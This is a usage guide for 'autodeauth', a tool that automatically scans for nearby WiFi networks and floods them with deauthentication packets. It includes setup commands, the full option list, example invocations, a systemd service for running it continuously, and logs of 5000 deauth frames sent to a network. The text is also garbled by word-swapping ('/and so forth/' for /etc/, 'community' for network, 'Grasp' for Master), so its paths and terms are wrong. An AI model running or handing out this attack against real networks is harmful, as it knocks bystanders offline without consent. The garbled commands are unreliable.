A instrument constructed to mechanically deauth native networks
$ chmod +x setup.sh
$ sudo ./setup.sh
Studying bundle lists... Accomplished
Constructing dependency tree... Accomplished
Studying state info... Accomplished
0 upgraded, 0 newly put in, 0 to take away and 0 not upgraded.
Please enter your WiFi interface title e.g: wlan0 -> wlan1
autodeauth put inuse sudo autodeauth or systemctl begin autodeauth
to edit service setting please edit: service file: /and so forth/systemd/system/autodeauth.service
$ sudo autodeauth -h
_ _ ___ _ _
/_ _ _| |_ ___| ___ __ _ _ _| |_| |_
/ _ || | _/ _ |) / -_) _` | || | _| '
/_/ __,_|_____/___/_____,_|_,_|__|_||_|utilization: autodeauth [-h] --interface INTERFACE [--blacklist BLACKLIST] [--whitelist WHITELIST] [--led LED] [--time TIME] [--random] [--ignore] [--count COUNT] [--verbose VERBOSE]
Auto Deauth Instrument
choices:
-h, --help present this assist message and exit
--interface INTERFACE, -i INTERFACE
Interface to fetch WiFi networks and ship deauth packets (should assist packet injection)
--blacklist BLACKLIST, -b BLACKLIST
Record of networks ssids/mac addre sses to keep away from (Comma seperated)
--whitelist WHITELIST, -w WHITELIST
Record of networks ssids/mac addresses to focus on (Comma seperated)
--led LED, -l LED Led pin quantity for led show
--time TIME, -t TIME Time (in s) between two deauth packets (default 0)
--random, -r Randomize your MAC handle earlier than deauthing every community
--ignore Ignore errors encountered when randomizing your MAC handle
--count COUNT, -c COUNT
Variety of packets to ship (default 5000)
--verbose VERBOSE, -v VERBOSE
Scapy verbosity setting (default: 0)
After working the setup you’ll be able to run the script by utilizing autodeauth from any listing
Command line
Networks with areas could be represented utilizing their mac addresses
$ sudo autodeauth -i wlan0 --blacklist FreeWiFi,E1:DB:12:2F:C1:57 -c 10000
Service
$ sudo systemctl begin autodeauth
Loot
When a community is detected and matches below the whitelist/blacklist standards its community info is saved as a json file in /var/log/autodeauth/
{
"ssid": "MyWiFiNetwork",
"mac_address": "10:0B:21:2E:C1:11",
"channel": 1,
"community.frequency": "2.412 GHz",
"mode": "Grasp",
"bitrates": [
"6 Mb/s",
"9 Mb/s",
"12 Mb/s",
"18 Mb/s",
"24 Mb/s",
"36 Mb/s",
"48 Mb/s",
"54 Mb/s"
],
"encryption_type": "wpa2",
"encrypted": true,
"high quality": "70/70",
"sign": -35
}
Log File
$ cat /var/log/autodeauth/log
2022-08-20 21:01:31 - Scanning for native networks
2022-08-20 21:20:29 - Sending 5000 deauth frames to community: A0:63:91:D5:B8:76 -- MyWiFiNetwork
2022-08-20 21:21:00 - Exiting/Cleansing up
To alter the settings of the autodeauth service edit the file /and so forth/systemd/system/autodeauth.service
Shall we say you wished the next config to be setup as a service
$ sudo autodeauth -i wlan0 --blacklist FreeWiFi,myWifi -c 10000
$ vim /and so forth/systemd/system/autodeauth.service
You then would change the ExecStart line to
ExecStart=/usr/bin/python3 /usr/native/bin/autodeauth -i wlan0 --blacklist FreeWiFi,myWifi -c 10000